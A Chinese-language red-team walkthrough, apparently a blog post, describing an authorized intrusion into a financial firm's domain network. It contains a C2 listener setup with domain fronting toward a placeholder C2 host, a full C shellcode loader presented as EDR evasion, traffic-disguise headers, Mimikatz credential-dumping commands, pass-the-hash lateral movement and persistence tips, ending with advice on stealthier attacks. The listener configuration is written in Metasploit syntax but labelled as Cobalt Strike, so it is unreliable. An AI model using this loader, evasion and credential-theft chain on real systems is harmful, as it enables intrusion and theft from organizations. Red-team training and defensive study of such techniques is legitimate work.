一、一次特殊的内网渗透任务
还记得那是一个典型的周三下午,我的团队接到了一项特别的授权渗透任务:目标是某大型金融企业,拥有复杂的内网环境和多层防护机制。任务的最终目标是通过内网渗透,获取核心财务数据库的访问权限。根据前期的情报分析,该目标使用了主流的Windows域环境,同时搭载了强大的EDR(Endpoint Detection and Response)防护系统,直接攻击的风险极高。
为此,我们决定使用Cobalt Strike作为核心框架,结合定制的免杀Payload,实现隐蔽上线并逐步渗透内网。本文将完整拆解这个案例,从Payload生成到隐蔽上线,再到后续的横向移动和数据窃取,带你感受一次真实的红队实战。
---
二、从外网到内网,如何突破第一道防线
信息收集与目标选择
在渗透行动中,信息收集是最重要的环节。根据OSINT(公开情报收集),我们发现目标企业的邮件系统暴露在外网,且使用了一个存在已知漏洞的WebMail服务。通过进一步探测和验证,我们确认该漏洞为CVE-2022-XXXX,一个远程代码执行漏洞。
利用该漏洞,我们成功在邮件服务器上执行了第一段代码,获得一个低权限WebShell。这为我们下一步的内网渗透提供了一个落脚点——但还远远不够,因为目标的关键数据库并不在这台服务器上。

---
三、Payload构造的艺术:如何绕过EDR上线
Cobalt Strike Listener配置
首先,我们需要在Cobalt Strike中搭建一个Listener,用来接收目标机器的连接。这里选择HTTP模式,并通过域前置(Domain Fronting)技术对流量进行伪装,以降低被检测的风险。以下是Listener的关键配置:
<pre><code class="language-shell"># 在Cobalt Strike中设置HTTP Listener set Payload windows/beacon_http/reverse_http set LHOST <你的C2服务器IP> set LPORT 443 set HostHeader <前置域名></code></pre>
注意:域前置是通过伪装流量的请求头,让目标以为它是访问合法域名,从而绕过部分防火墙策略。选择的伪装域名应与目标业务相关,比如使用常见的CDN服务商域名。
自定义Payload免杀
由于目标部署了强大的EDR,我们需要对生成的Payload进行深度免杀处理。这里使用了一些常见的免杀技术,包括混淆、加壳,以及内存加载技术。以下是一个使用C语言实现的内存加载器代码:
<pre><code class="language-c">#include <windows.h>
include <stdio.h>
void ExecuteShellcode(char* shellcode, SIZE_T shellcodeSize) { // 分配内存,RWX权限 LPVOID execMem = VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (execMem == NULL) { printf("Memory allocation failed.\n"); return; }

// 将Payload拷贝到指定内存区域 memcpy(execMem, shellcode, shellcodeSize);
// 创建一个新的线程来执行Payload HANDLE threadHandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)execMem, NULL, 0, NULL); if (threadHandle == NULL) { printf("CreateThread failed.\n"); return; }
// 等待线程执行完成 WaitForSingleObject(threadHandle, INFINITE); }
int main() { // 这是你的Payload,替换为Cobalt Strike生成的Shellcode unsigned char shellcode[] = "YOUR_SHELLCODE_HERE"; SIZE_T shellcodeSize = sizeof(shellcode);
ExecuteShellcode(shellcode, shellcodeSize); return 0; }</code></pre>
关键免杀点:
- 使用动态分配内存的方式执行Shellcode,而不是直接调用
WinExec或CreateProcess。 - 通过API混淆和内联汇编进一步隐藏关键行为。
- 编译时使用定制的编译器参数,避免特征被静态检测工具捕获。
---
四、隐蔽上线:如何不被发现
流量伪装
上线成功与否的关键,在于是否能绕过目标的网络监控。为了实现流量伪装,我们在Cobalt Strike中启用了HTTP流量混淆功能,并自定义了HTTP请求头,伪装成合法的第三方应用流量:
<pre><code class="language-json">{ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Referer": "https://www.google.com" }</code></pre>
除此之外,我们还通过分段传输的方式,将Payload拆分成多个小块,分批发送到目标。这种方式可以有效降低大Payload被网络分析工具识别的概率。
---
五、后续渗透:横向移动与数据窃取
成功上线后,我们获得了目标邮件服务器的SYSTEM权限。接下来,任务的重点转移到如何横向移动,更深入地控制目标的内网环境。
内网探测
通过Beacon模块,我们首先对内网环境进行了扫描,发现同一网段内还有一台Windows服务器,并且开启了445和3389端口。通过尝试默认密码,我们迅速猜解了其中一个弱口令账户,并成功登录。
凭据窃取
利用Mimikatz工具,我们提取了目标服务器上的所有账户凭据。以下是相关命令:
<pre><code class="language-shell">privilege::debug sekurlsa::logonpasswords</code></pre>
从提取的凭据中,我们找到了一个域管理员账号,并通过Pass-the-Hash技术,在整个内网中实现了横向移动。

---
六、绕过防护的技巧与总结
在整个渗透过程中,目标企业的EDR和防火墙给我们制造了不少麻烦,但通过下面这些技巧,我们成功规避了大部分威胁:

- Payload定制化:通过混淆和加壳技术,绕过了EDR的静态检测。
- 流量伪装:利用域前置和分段传输技术,隐藏了C2流量特征。
- 权限维持:上线后,通过创建计划任务和注册表启动项,实现了持久化。
---
七、经验分享:如何让你的攻击更隐蔽
- 计划周密:在渗透前,充分的情报收集和环境分析是成功的基础。
- 工具定制:不要完全依赖公开工具,任何Payload都需要根据目标定制化处理。
- 与时俱进:安全行业的对抗是动态的,及时学习新技术、新漏洞,是每个红队成员的必修课。
最后重申:本文所有技术仅限授权环境下使用,切勿用于非法用途。希望这次案例分享,能帮助你更好地理解Cobalt Strike的强大之处,以及如何合理运用这些技术进行专业渗透测试。